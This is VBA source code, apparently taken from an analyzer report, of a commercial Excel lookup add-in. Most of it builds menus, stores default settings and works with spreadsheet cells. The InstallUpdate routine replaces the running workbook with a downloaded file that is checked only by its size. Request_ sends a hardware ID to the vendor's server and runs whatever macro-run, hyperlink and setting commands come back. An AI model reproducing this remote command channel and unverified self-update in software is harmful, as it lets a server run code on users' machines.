        MainMacroButton.Tag = TWN & "ApplySettingSet" & "\\\" & "macro=" & MainMacroName$ & "&"
        MainMacroButton.State = IIf(SettingSetName$ = "", msoButtonDown, msoButtonUp)
    End If
    Set coll = Nothing
End Sub

Sub AddUpdateButton(ByRef AddinMenu As Object)
    On Error Resume Next
    If UpdateAvailable Then
        Dim UpdateButton As Object, UpdateButtonCaption$, UpdateType&, ShowUpdateButton As Boolean
        UpdateType& = SETT.GetNumber("NewVersionType", 0, "Updates")
        If UpdateType& > 0 Then
            ShowUpdateButton = UpdateType& > 1        '  ShowUpdateButton = InStr(1, "23", UpdateType&) > 0
            If ShowUpdateButton Then Add_Control(AddinMenu, ct_BUTTON, 0, "0", "", msoButtonIconAndCaption, False).Enabled = 0

            If SETT.GetBoolean("AutoInstall", False, "Updates") Or (UpdateType& = 4) Then
                UpdateButtonCaption$ = Run(TWN & "tt", "MENU_UpdateInProgress")
                If UpdateButtonCaption$ = "" Then UpdateButtonCaption$ = "Installing update in process …"
                If ShowUpdateButton Then Set UpdateButton = Add_Control(AddinMenu, ct_BUTTON, 1977, "", " " & UpdateButtonCaption$ & " ", msoButtonIconAndCaption, True)
                UpdateButton.State = msoButtonDown
                InstallUpdate
            Else
                UpdateButtonCaption$ = Run(TWN & "tt", "MENU_UpdateReady")
                If UpdateButtonCaption$ = "" Then UpdateButtonCaption$ = "Install update now"
                If ShowUpdateButton Then Set UpdateButton = Add_Control(AddinMenu, ct_BUTTON, 1623, "InstallUpdate", " " & UpdateButtonCaption$ & " ", msoButtonIconAndCaption, True)
                RunWithDelay "DownloadUpdate", 2
            End If
        End If
    End If
End Sub
Sub DownloadUpdate()
    InstallUpdate True
End Sub

Sub InstallUpdate(Optional ByVal DownloadOnly As Boolean = False)
    On Error Resume Next
    Dim URL$, NewFilename$, FileSize&, OldFilename$, FilePath$

    If Not UpdateAvailable Then Exit Sub

    URL$ = SETT.GetText("NewVersionURL", , "Updates")
    SETT.SetText "InstallLastAttemptTime", Now, "Updates"
    NewFilename$ = FWF.temp_folder & FWF.Replace_symbols("Update_" & PROJECT_NAME$ & "_" & _
                                                         SETT.GetText("NewVersion", "X.X.X", "Updates") & "." & FWF.GetFileExtension(URL$))
    FileSize& = SETT.GetNumber("NewVersionSize", 0, "Updates")
    If FWF.FileExists(NewFilename$) And (FileSize& > 0) Then
        If FileLen(NewFilename$) <> FileSize& Then Kill NewFilename$
    End If
    Kill NewFilename$

    If Not FWF.FileExists(NewFilename$) Then
        SETT.SetText "InstallComment", "Start downloading file...  " & URL$ & "  to  " & NewFilename$, "Updates"
        If Not FWF.DownLoadFileFromURL(URL$, NewFilename$, True) Then
            SETT.SetText "InstallComment", "Can't download file", "Updates": Exit Sub
        End If
        SETT.SetText "InstallComment", "Download finished:  " & URL$ & "  to  " & NewFilename$, "Updates"
        If Not FWF.FileExists(NewFilename$) Then
            SETT.SetText "InstallComment", "Downloaded file not found", "Updates": Exit Sub
        End If
    End If

    If (FileSize& > 0) And (FileLen(NewFilename$) <> FileSize&) Then
        SETT.SetText "InstallComment", "Filesize does not match (original = " & FileSize& & ", downloaded = " & FileLen(NewFilename$) & ")", "Updates": Exit Sub
    End If
    If TrueDeveloper Then Application.StatusBar = Now & "  InstallUpdate started,  DownloadOnly = " & DownloadOnly: Exit Sub
    If DownloadOnly Then Exit Sub

    OldFilename$ = FWF.temp_folder & FWF.Replace_symbols("Backup_" & PROJECT_NAME$ & "_" & GetVersionTXT & _
                                                         "_" & Format(Now, "DD-MM-YYYY_HH-NN-SS") & "." & FWF.GetFileExtension(ThisWorkbook.FullName))
    SETT.SetText "LastBackup", OldFilename$, "Updates"

    Application.DisplayAlerts = False: If TrueDeveloper Then Exit Sub
    FilePath$ = ThisWorkbook.FullName: ThisWorkbook.ChangeFileAccess xlReadOnly
    SETT.SetText "InstallComment", "Deleting old version:  " & FilePath$, "Updates"
    SetAttr FilePath$, vbNormal
    FileCopy FilePath$, OldFilename$        ' old version backup
    Kill FilePath$: DoEvents
    If FWF.FileExists(FilePath$) Then
        SETT.SetText "InstallComment", "Can't delete old version", "Updates": Exit Sub
    End If
    SETT.SetText "InstallComment", "Old version was deleted successfully  " & FilePath$, "Updates"


    FileCopy NewFilename$, FilePath$: DoEvents
    If Not FWF.FileExists(FilePath$) Then
        SETT.SetText "InstallComment", "Can't copy new version", "Updates"
        Kill FilePath$: DoEvents
        FileCopy OldFilename$, FilePath$        ' old version restore
        Exit Sub
    End If

    SETT.SetText "InstallComment", "Update was successfully installed at " & Now, "Updates"
    Application.OnTime Now + TimeSerial(0, 0, 2), "'" & FilePath$ & "'" & "!ClearUpdatesInfo"
    Application.DisplayAlerts = True
    ThisWorkbook.Close False
End Sub

Sub ClearUpdatesInfo()
    With SETT
        .Delete "NewVersionType", "Updates": .Delete "NewVersionNumber", "Updates": .Delete "NewVersionURL", "Updates"
        .Delete "NewVersionType", "Updates": .Delete "NewVersionSize", "Updates": .Delete "NewVersion", "Updates"
    End With
End Sub

Function Request_(ParamArray args()) As Boolean
    On Error Resume Next: Dim xmlhttp As Object, POST() As Byte, PostData$, i&, Response$
    Set xmlhttp = CreateObject("WinHttp.WinHttpRequest.5.1")
    xmlhttp.Open "POST", UPDATES_HYPERLINK$, True
    xmlhttp.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
    If Not IsMissing(args) Then
        For i = LBound(args) To UBound(args)
            If args(i) Like "?*=?*" Then PostData = PostData & "&" & Split(args(i), "=")(0) & "=" & Split(args(i), "=", 2)(1)
        Next i
    End If
    PostData = PostData & "&HWID=" & HWID(PostData Like "*action=activation*")
    POST = StrConv(URL_Encode(SETT.PostData & PostData), vbFromUnicode)
    xmlhttp.Send (POST): DoEvents

    If MU_ Or xmlhttp.WaitForResponse(3) Then
        If Val(xmlhttp.Status) <> 200 Then Debug.Print xmlhttp.Status, xmlhttp.StatusText
        Response$ = xmlhttp.ResponseText
    End If
    Set xmlhttp = Nothing
    If Response$ Like "%*%" Then Request_ = True: EXECUTE_COMMANDS Split(Response$, "%")(1)
End Function

Function EXECUTE_COMMANDS(ByVal txt$, Optional ShowErrMsg As Boolean)
    On Error Resume Next
    Dim commands, i&, cmd$, arr, j&, settname$, settval$, section$, msgboxStyle As VbMsgBoxStyle, macroname$, msg$, ER&
    commands = Split(txt$, "ll")
    For i = LBound(commands) To UBound(commands)
        cmd$ = "": arr = "": cmd$ = cmdDisplay$(commands(i))
        'If TrueDeveloper Then Debug.Print cmd$
        arr = Split(cmd$, " ")
        For j = LBound(arr) To UBound(arr): arr(j) = Replace(arr(j), "%20", " "): Next j
        Select Case arr(0)
            Case "SET"
                If UBound(arr) >= 3 Then
                    section$ = arr(1): settname$ = arr(2): settval$ = Replace(Split(cmd$, " ", 4)(3), "%20", " ")
                    If settval$ = "now" Then settval$ = Now
                    If Len(settname$) Then SETT.SetText settname$, settval$, IIf(Len(section$), section$, "Settings")
                End If
            Case "SETH"
                Dim ind&, params$: params$ = Split(cmd$, " ", 2)(1)
                If params$ Like "*#=*" Then
                    ind& = Val(Split(params$, "=", 2)(0))
                    If ind > 0 Then SETT.WSP ind&, Split(params$, "=", 2)(1)
                End If
            Case "RUN"
                macroname$ = "'" & ThisWorkbook.Name & "'!" & arr(1)
                Select Case UBound(arr)
                    Case 1: Run macroname$
                    Case 2: Run macroname$, arr(2)
                    Case 3: Run macroname$, arr(2), arr(3)
                    Case 4: Run macroname$, arr(2), arr(3), arr(4)
                End Select
            Case "SH"
                FollowHyperlink arr(1)
            Case "MSG", "MSGE", "MSGI", "MSGW", "MSGC"
                msgboxStyle = vbInformation
                If arr(0) = "MSGE" Then msgboxStyle = vbExclamation
                If arr(0) = "MSGW" Or arr(0) = "MSGC" Then msgboxStyle = vbCritical
                msg$ = "": msg$ = Replace(Split(cmd$, " ", 2)(1), "/n", vbNewLine)
                If Len(msg) Then MsgBox msg, msgboxStyle
            Case "MSGA"
                MsgBox tt("MSG_activation_done"), vbInformation
                F_About.MultiPage1.Value = 0
            Case "MSGR": F_About.MultiPage1.Value = 0
            Case Else: ER& = ER& + 1        ' unsupported command
        End Select
        ER& = ER& - (UBound(arr) = -1)
    Next i
    If ShowErrMsg Then If UBound(commands) + 1 = ER& Then MsgBox "Unsupported code", vbCritical
End Function

Function ProgramYears() As String
    On Error Resume Next: Dim BuiltDate As Date, PROJECT_LASTYEAR&
    BuiltDate = CDate(Val(Replace(Split(ThisWorkbook.Names("BuiltDate").RefersTo, "%%")(1), ",", ".")))
    PROJECT_LASTYEAR& = Year(BuiltDate): If PROJECT_LASTYEAR < 2015 Then PROJECT_LASTYEAR = Year(FileDateTime(ThisWorkbook.FullName))
    ProgramYears = IIf(Year(Now) > PROJECT_YEAR, PROJECT_YEAR & " - " & Year(Now), PROJECT_YEAR)
End Function

Function SwitchTab(TabName As String) As Boolean
    ' © Tony Jollans, August 2008.    http://www.wordarticles.com/Shorts/RibbonVBA/RibbonVBADemo.php
    On Error Resume Next: Dim RibbonTab As Object
    Set RibbonTab = GetAccessible(CommandBars("Ribbon"), &H25&, TabName)
    If RibbonTab Is Nothing Then Exit Function
    If (RibbonTab.accState(&H0&) And 32769) = 0 Then RibbonTab.accDoDefaultAction &H0&: SwitchTab = True
End Function
Public Function GetAccessible(Element As Object, RoleWanted&, NameWanted$, Optional GetClient As Boolean) As Object
    Dim ChildrenArray(), Child As Object, ndxChild&, ReturnElement As Object, NameComparand$, accName$, accValue$
    On Error Resume Next: accValue = Element.accValue(&H0&)
    accName = Element.accName(&H0&)
    Select Case accValue
        Case "Ribbon", "Quick Access Toolbar", "Ribbon Tabs List", "Lower Ribbon", "Status Bar": NameComparand = accValue
        Case "", "Ribbon Tab", "Group": NameComparand = accName
        Case Else: NameComparand = accName
    End Select
    If Element.accRole(&H0&) = RoleWanted And NameComparand = NameWanted Then
        Set ReturnElement = Element
    Else        ' not found yet
        ChildrenArray = GetChildren(Element)
        If (Not ChildrenArray) <> True Then
            For ndxChild = LBound(ChildrenArray) To UBound(ChildrenArray)
                If TypeOf ChildrenArray(ndxChild) Is Object  Then
                    Set Child = ChildrenArray(ndxChild)
                    Set ReturnElement = GetAccessible(Child, RoleWanted, NameWanted)
                    If Not ReturnElement Is Nothing Then Exit For
                End If        ' Child is Object
            Next ndxChild
        End If        ' there are children
    End If        ' still looking
    If GetClient Then Set ReturnElement = ReturnElement.accNavigate(&H7&, &H0&)
    Set GetAccessible = ReturnElement
End Function
Private Function GetChildren(Element As Object) As Variant()
    Const FirstChild As Long = 0&: Dim NumChildren&, ChildrenArray()
    #If Win64 Then
        Dim NumReturned As LongPtr
    #Else
        Dim NumReturned As Long
    #End If
    NumChildren = Element.accChildCount
    If NumChildren > 0 Then ReDim ChildrenArray(NumChildren - 1): AccessibleChildren Element, FirstChild, NumChildren, ChildrenArray(0), NumReturned
    GetChildren = ChildrenArray
End Function

Function UsageExampleExists(Optional ShowForm As Boolean = False) As Boolean
    On Error Resume Next: Dim UF As Object: Set UF = UserForms.Add("F_UsageExample")
    If Not UF Is Nothing Then
        UsageExampleExists = True
        If ShowForm Then UF.Show Else Unload UF
    End If
End Function

Sub FormSetError(ByRef UF As Object, Optional ByVal Control_Name$, Optional ByVal Labels_Name$)
    On Error Resume Next: Dim PrevColor&, i&, Label_Name, t As Double, objParent As Object
    UF.Show: DoEvents
    'Application.EnableCancelKey = xlDisabled
    If Len(Control_Name$) Then
        Set objParent = UF.Controls(Control_Name$).Parent
        Do While Not objParent Is Nothing
            If TypeName(objParent) = "Page" Then
                If TypeName(objParent.Parent) = "MultiPage" Then
                    objParent.Parent.Value = objParent.Parent.Pages(objParent.Name).Index
                End If
            End If
            Err.Clear: i = i + 1: Set objParent = objParent.Parent
            If Err <> 0 Or i > 20 Then Exit Do
        Loop

        PrevColor& = UF.Controls(Control_Name$).BackColor
        UF.Controls(Control_Name$).BackColor = RGB(255, 0, 0)
    End If

    If Len(Labels_Name$) Then
        For Each Label_Name In Split(Labels_Name$, "|")
            With UF.Controls(Label_Name)
                .ForeColor = RGB(255, 0, 0)
                For i = 1 To IIf(UBound(Split(Labels_Name$, "|")) = 0, 6, 4)
                    .Visible = i Mod 2 = 0: t = Timer: While Abs(Timer - t) < 0.2: DoEvents: Wend
                Next
            End With
        Next
    End If

    If Len(Control_Name$) Then
        UF.Controls(Control_Name$).BackColor = PrevColor&
        UF.Controls(Control_Name$).SetFocus
    End If
    'Application.EnableCancelKey = xlInterrupt
    For i = 1 To 1000: DoEvents: Next
End Sub





Attribute VB_Name = "mod_Main"
'---------------------------------------------------------------------------------------
' Module        : mod_Main                    Version:
' Author        : Igor Vakhnenko                   Date: 16.10.2015
' Professional application development for Microsoft Excel
' http://ExcelVBA.ru/        info@excelvba.ru      Skype: ExcelVBA.ru
'---------------------------------------------------------------------------------------

Option Compare Text: Option Private Module ': Option Explicit
Public Const PROJECT_NAME$ = "Lookup", PROJECT_YEAR& = 2013

Private Sub CreateCommandBar(): CreateProgramCommandBar 0: End Sub

Sub CreateProgramCommandBar(Optional ByVal RefreshOnly As Boolean = True)
    On Error Resume Next
    SaveDefaultSettings

    Dim AddinMenu As CommandBar, coll As Collection, i&, MainMacroButton As Object
    Application.ScreenUpdating = False
    If Not RefreshOnly Then Run DeleteOldCommandBar
    Set AddinMenu = GetCommandBar(PROJECT_NAME, True Or RefreshOnly)

    Set MainMacroButton = Add_Control(AddinMenu, ct_BUTTON, 501, "LookupData", tt("MENU_001"), msoButtonIconAndCaption, True)
    AddSettingsSwitcher AddinMenu, ct_DROPDOWN, , "LookupData", MainMacroButton

    Add3Buttons AddinMenu
    If Not RefreshOnly Then
        RunWithDelay "ActivateAddinsTab"
        AddUpdateButton AddinMenu
        RunWithDelay "ActivateAddinsTab"
    End If
    If Developer Then
        Add_Control(AddinMenu, ct_BUTTON, 0, "0", "", msoButtonIconAndCaption, False).Enabled = 0
        Add_Control AddinMenu, ct_BUTTON, , "ShowFirstRunForm", "Show FirstRun Form", msoButtonIconAndCaption, True
        Add_Control AddinMenu, ct_BUTTON, , "ToggleIsAddin", "Show/Hide TR Sheet", msoButtonIconAndCaption, True
    End If
    Application.ScreenUpdating = True
End Sub

Sub ToggleIsAddin()
    On Error Resume Next
    ThisWorkbook.IsAddin = Not ThisWorkbook.IsAddin
End Sub

Sub SaveDefaultSettings()
    On Error Resume Next
    With SETT
        .LoadAllSettings
        '---------------------------------------------------------------
        .AddDefaultValue "OptionButton_SF_ActiveWorkbook", True
        .AddDefaultValue "OptionButton_SF_ActiveSheet", True
        .AddDefaultValue "ComboBox_SF_SheetIndex", 1
        .AddDefaultValue "CheckBox_IgnoreCase", True
        .AddDefaultValue "CheckBox_IgnoredCharsEnabled", True
        .AddDefaultValue "TextBox_IgnoredChars", "{TAB}{SPACE}{160}{CR}{LF}", , True

        .AddDefaultValue "ComboBox_SF_Found_Color_Interior", vbGreen
        .AddDefaultValue "ComboBox_SF_Found_Color_Font", xlNone
        .AddDefaultValue "TextBox_SF_Found_ColumnsList", "A-F"
        .AddDefaultValue "ComboBox_SF_NotFound_Color_Interior", 13408767        'vbRed
        .AddDefaultValue "ComboBox_SF_NotFound_Color_Font", xlNone
        .AddDefaultValue "TextBox_SF_NotFound_ColumnsList", "A-B"

        .AddDefaultValue "ComboBox_SF_FirstRow", 2
        .AddDefaultValue "ComboBox_SF_LastRowColumn", "auto"

        '---------------------------------------------------------------
        .AddDefaultValue "OptionButton_DF_ActiveWorkbook", True
        .AddDefaultValue "OptionButton_DF_ActiveSheet", True
        .AddDefaultValue "ComboBox_DF_SheetIndex", 1

        .AddDefaultValue "ComboBox_DF_Found_Color_Interior", 15849925        ' blue
        .AddDefaultValue "ComboBox_DF_Found_Color_Font", xlNone
        .AddDefaultValue "TextBox_DF_Found_ColumnsList", "A-F"
        .AddDefaultValue "ComboBox_DF_NotFound_Color_Interior", 10092543        'yellow
        .AddDefaultValue "ComboBox_DF_NotFound_Color_Font", xlNone
        .AddDefaultValue "TextBox_DF_NotFound_ColumnsList", "A-B"

        .AddDefaultValue "ComboBox_DF_FirstRow", 2
        .AddDefaultValue "ComboBox_DF_LastRowColumn", "auto"

        '---------------------------------------------------------------
        .AddDefaultValue "TextBox_SF_CompareColumnsList", "2"
        .AddDefaultValue "TextBox_DF_CompareColumnsList", "3"
        .AddDefaultValue "TextBox_SF_CopyColumnsList", "8, 5-3, K-M, R, S"
        .AddDefaultValue "TextBox_DF_CopyColumnsList", "H-N, P, R"

        .AddDefaultValue "CheckBox_CopyNewRows", False
        '---------------------------------------------------------------
        .AddDefaultValue "TextBox_CopyRows_SF_ColumnsList", "0,3-5,0,0,2,1"
        .AddDefaultValue "CheckBox_CopyRows_SF_CheckColumnEnabled", False
        .AddDefaultValue "TextBox_CopyRows_SF_CheckColumnMask", "?*"
        .AddDefaultValue "ComboBox_CopyRows_DF_LastRowColumn", 1, True
        .AddDefaultValue "ComboBox_CopyRows_SF_CheckColumnNumber", 1, True

        .AddDefaultValue "ComboBox_CopyRows_DF_Color_Interior", 10092441        ' light green
        .AddDefaultValue "ComboBox_CopyRows_DF_Color_Font", xlNone
        .AddDefaultValue "TextBox_CopyRows_DF_ColouringColumnsList", "A-F"

        .AddDefaultValue "CheckBox_CopyRows_DF_Border", True
    End With
End Sub


Function GetFile_MainPicture() As String
    ' создаёт во временной папке файл, возвращает путь к созданному файлу
    On Error Resume Next: Dim F_TXT$, buf$, tmp_file$: Const BufLen& = 5000
    F_TXT$ = F_TXT$ & "FFD8FFE000104A46494600010101012C012C0000FFDB0043000504040504030505040506060506080E0908070708110C0D0A0E141115141311131316181F1B16171E1713131B251C1E2021232323151A26292622291F222322FFDB00430106060608070810090910221613162222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222FFC00011080029005003012200021101031101FFC4001A000003010101010000000000000000000004060700050801FFC40037100001040004040405020309000000000001020304110005122106132231074151711423246181153233428234354352627291A1B1FFC400190100020301000000000000000000000000040500020301FFC4002B11000103030301060700000000000000000100020304112112133141053371C1D1F03234516181B1E1FFDA000C03010002110311003F00BCE799D670C66B25197BCB212F389D0EBC50000AA1A6BCBF1819ACFB373A39F25F492F212A4B6F5D03762EFBF6AFCE04E278A6566F280806754877A5D25213D47F6F49B0702C760B6DB23E11C674C86CE94926BBEF75DC5EC3EFDB05B5A2C3096BDEEB9CA74566531B8115C0EBC80B8CDAD4B90FE93A8A16492350D8909AF657A61278DB"
    F_TXT$ = F_TXT$ & "8A38832ACE16DE5599262B20F509CF14EFCB411A2CEE2C9B24F6230D4EB01FCAE26A8EB7DB30DAD464D8BA42CD51AD81A23DD5E9789D788D1512788D6972046989424DA27F4947CB6F6412074F91FE9FCA9AC716B0106D9F557AF7B9B134836CF91547F0BF39CD7388D3D59D4A4BEF364005B5EB40EB58D89DEE80047A8C51B129F0752A4C5CD438CB4CAB5D9432BD68FE239BDFF98F73F7F4ED8AB5E34A624C409F795AD1B8BA06927EBFB283CD5C5B3934D71B2A4AD0C2D4929EE0849AAC4A8E7F9F87D412F5B009A5FC490A03EE2EBFEF152CE7FB8331EFFD99CEDDFF0069C451705467ADEFD212AEA27E23590AEFDC8D1FF3BF960D88037BA952E208B15D0CDB8973A622BA634E790F2592A429C73E58572C9B5EF611A85DFA038E6F09717F12CFE2C851F31CD23BF116E84A9319ED4A279880411BF4D120FB8ED7581B881B232F923937AA3D687C7CB590D11A5760740ED7B6D7EF8E6704C511B8EB2E4B7974288D07C52A33BA9765D458D3E86859DB703B6C30AEADEE6D4D81C612A74AFDE0351E9D7FA9C38A6326566F28182ECED321D1A41D3A3A8EC0E8360FBE04623252863E91C6B4C86D40293A8A6AFA81D1DD37B7AD9C17C52DA1ECE256B6644AD321D14C2820A3A8ED7B5DFBE048CC37A59210EB25121B58E6EE456AEAB03C81"
    F_TXT$ = F_TXT$ & "EDBDDE1D37808B7F25333F113320E5F709C9A830DB4971D1A6BA17B01A45EF5F851F4C4FFC458EB91C40E06B2F19969429250F2F945B05A6C148E91608B07D87ADE1FE4B08970B2F2A8EE4FF00A36C172F4247CB58AA02FCEBFABED89EF8931933B8817F40EE6A116290E0694D7CB6B6BF3EDEBFCBF90A2B7E01E3EAAFDA1DD37C7C8A7AF0943C2166E90C222BC0F437AB98916E3A4289005955D9F3B2463E4283C6E97A6D393D2F17EDE5AA4B41B717A53D4D0524D3754001554455D93BC1A472E06648F855C4DC2BE1D6A0A29B71C37636DFBFDAF157C4823D70B72473C1FBAB52C42481B9239E0DBA948F96B3C42CE4F9F1E22796A64C4F91ADC6D6A0AD2BD47A123CB4F7BED89DAE0A4E60B77F497892A27E212A001DFBD68F3C5B73A35906626EBE99CDFD3A4E222B61AF8F5ABE0A6EA2A2798958D0ADFBE9FBFB61853B748B2B4EDD200BA173E6008329298D6A763E9E5A93497A9A23428E814076BDB638078219758E35CBCB994A21053E01752F87147E63742B4D8040DCFF00A123D307E7CC24E5B29286F99CF63498E7FC621A2347ED355B26EBFF0031C9E038898BC750143277E05BC0739C7C38156EA0E9AB277ABFC1F524AAADF9A1F84A9FDF0F109E38A52A566F27509CB01F76843B4A93D4763D62EFC8E0069B25318812FA65"
    F_TXT$ = F_TXT$ & "36AB77F70235751EADC0F3F718B9E361B096DD139753026F75319684498F9725D53F21422B40AD9572D29210BD8EFDF7A3FEE1841F12A2AE6710A94A893B334A410170145251F2DAD8907AAEBD7BA7B1F2F46636049A2DD16BD97678379A1B7B594AFC1E0E081989721C8876ABE4C84F5D971C2544F9EABBF638AA636363B147B6D0D57862DA6060E881CE2CE459804F7F8772B6BFE5388A29A273073A334D5A89B493CA56FE435F6FC6DBF6C5E7CF1B1BB1FA54922DC232BCF39D4753D0E7212CBEEF398D0A689FE2D34404036749F2BDF7C05C0D0571B8CA0286593E302F8A7A539CCD8BA8240DCD5E907BED58F49E31ED81A5804B26E1286342D2FD57F617FFD9"
    For i = 1 To Len(F_TXT$) / 2
        buf$ = buf$ & Chr(Val("&H" & Mid(F_TXT$, 2 * i - 1, 2)))
        If Len(buf$) > BufLen& Then res$ = res$ & buf$: buf$ = "": DoEvents
    Next: res$ = res$ & buf$
    tmp_file$ = Environ("tmp") & "\file_MainPicture_" & PROJECT_NAME$: Kill tmp_file$
    ff& = FreeFile: Open tmp_file$ For Binary Access Write As #ff
    Put #ff, , res$
    Close #ff
    If FileLen(tmp_file$) = Len(F_TXT$) / 2 Then GetFile_MainPicture = tmp_file$
End Function





Attribute VB_Name = "mod_Functions"
'---------------------------------------------------------------------------------------
' Module        : mod_Functions                    Version:
' Author        : Igor Vakhnenko                   Date: 20.12.2015
' Professional application development for Microsoft Excel
' http://ExcelVBA.ru/        info@excelvba.ru      Skype: ExcelVBA.ru
'---------------------------------------------------------------------------------------

Option Compare Text: Option Private Module

Function OpenWorkbooksList() As Variant
    On Error Resume Next
    Dim WB As Workbook, coll As New Collection, Item, i&
    For Each WB In Application.Workbooks
        If WB.Windows(1).Visible Then
            If WB.Path <> "" Then coll.Add WB.FullName
        End If
    Next
    ReDim arr(1 To coll.Count, 1 To 2)
    For Each Item In coll
        i = i + 1
        arr(i, 1) = Item
        arr(i, 2) = Dir(Item, vbNormal)
    Next
    OpenWorkbooksList = arr
End Function

Function ColoringEnable(ByVal FileType$) As Boolean
    On Error Resume Next        ' FileType$ = "SF" or "DF"
    ColoringEnable = SETT.GetBoolean("CheckBox_" & FileType$ & "_Found_Color_Interior") Or _
                     SETT.GetBoolean("CheckBox_" & FileType$ & "_NotFound_Color_Interior") Or _
                     SETT.GetBoolean("CheckBox_" & FileType$ & "_Found_Color_Font") Or _
                     SETT.GetBoolean("CheckBox_" & FileType$ & "_NotFound_Color_Font")
End Function

Function SpecialCells_TypeConstants(ByRef ra As Range) As Range
    ' возвращает диапазон, содержащий все заполненные ячейки диапазона ra
    On Error Resume Next: en& = Err.Number
    If ra.Worksheet.ProtectContents Then        ' если лист защищён
        Dim cell As Range
        ' перебираем все ячейки в диапазоне
        For Each cell In Intersect(ra, ra.Worksheet.UsedRange).Cells
            If Trim(cell.Value) <> "" Then        ' если ячейка непустая
                ' то добавляем её в результат
                If SpecialCells_TypeConstants Is Nothing Then
                    Set SpecialCells_TypeConstants = cell
                Else
                    Set SpecialCells_TypeConstants = Union(SpecialCells_TypeConstants, cell)
                End If
            End If
        Next cell

    Else        ' если защита листа не установлена - используем штатные средства Excel
        Set SpecialCells_TypeConstants = ra.SpecialCells(xlCellTypeConstants)
    End If
    If en& = 0 Then Err.Clear
End Function

Function SpecialCells_VisibleRows(ByRef ra As Range) As Range
    On Error Resume Next: en& = Err.Number
    If ra.Worksheet.ProtectContents Then
        Dim ro As Range
        For Each ro In Intersect(ra, ra.Worksheet.UsedRange.EntireRow).Rows
            If ro.EntireRow.Hidden = False Then
                If SpecialCells_VisibleRows Is Nothing Then
                    Set SpecialCells_VisibleRows = ro
                Else
                    Set SpecialCells_VisibleRows = Union(SpecialCells_VisibleRows, ro)
                End If
            End If
        Next ro
    Else
        Set SpecialCells_VisibleRows = ra.SpecialCells(xlCellTypeVisible)
    End If
    If en& = 0 Then Err.Clear
End Function

Function ParseString(ByVal txt As String) As Variant
    ' получает в качестве параметра текстовую строку для проверки
    ' возвращает двумерный массив размером N * 4 (где N - длина текстовой строки)
    On Error Resume Next
    n = Len(txt): ReDim arr(1 To n, 1 To 4)
    For i = LBound(arr) To UBound(arr)
        arr(i, 1) = i
        l$ = Mid(txt, i, 1)
        arr(i, 2) = l$
        arr(i, 3) = Asc(l$)
        arr(i, 4) = AscW(l$)
    Next i
    ' arr(1, 1) = "#": arr(1, 2) = "Char": arr(1, 3) = "Asc": arr(1, 4) = "AscW"
    ParseString = arr
End Function

Sub ParseActiveCell()
    On Error Resume Next
…

Open this report in the interactive analyzer, or submit your own file for analysis.